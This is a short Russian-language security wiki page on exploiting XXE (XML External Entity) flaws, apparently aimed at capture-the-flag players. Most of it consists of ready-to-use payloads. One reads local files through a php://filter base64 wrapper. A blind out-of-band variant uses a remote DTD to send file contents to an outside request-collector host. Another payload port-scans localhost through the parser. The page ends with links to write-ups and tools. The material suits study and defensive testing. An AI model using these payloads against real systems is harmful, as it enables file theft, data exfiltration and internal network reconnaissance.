Xxe

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Поиск уязвимости

Эксплуатация

Чтение локальных файлов

Код для чтения лок. файлов, вывод закодирован в base64:

<?xml version='1.0' standalone='yes'?>
<!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/flag">]>
<root>&xxe;</root>


В случае со слепой XXE:

Отсылаемый код:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://site/xxe.dtd">
%remote;]>
<root/>

Хранящийся по URL'у (http://site/xxe.dtd):

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/flag">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://requestb.in/xxxxxxxx?xxe_local=%payload;'>">


%int;
%trick;


Сканирование портов

Запускать нужно с Intruder'ом или другой утилитой, позволяющей перебирать значение $$ (1-65535):

<?xml version='1.0' standalone='no'?>
<!DOCTYPE plot [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:$$">]>
<root>&xxe;</root>

Примеры тасков

Райтапы

hackyou2014-web400-write-up

GoSecure CTF - Web 300

Belorussky Rail Terminal

SECUINSIDE CTF Onmyweb400


Утилиты

oxml_xxe

XXEinjector

XXE-OOB


Полезные ссылки

owasp

статья от andrepetukhov

xakep.ru

infosec

слепые xxe

detection xxe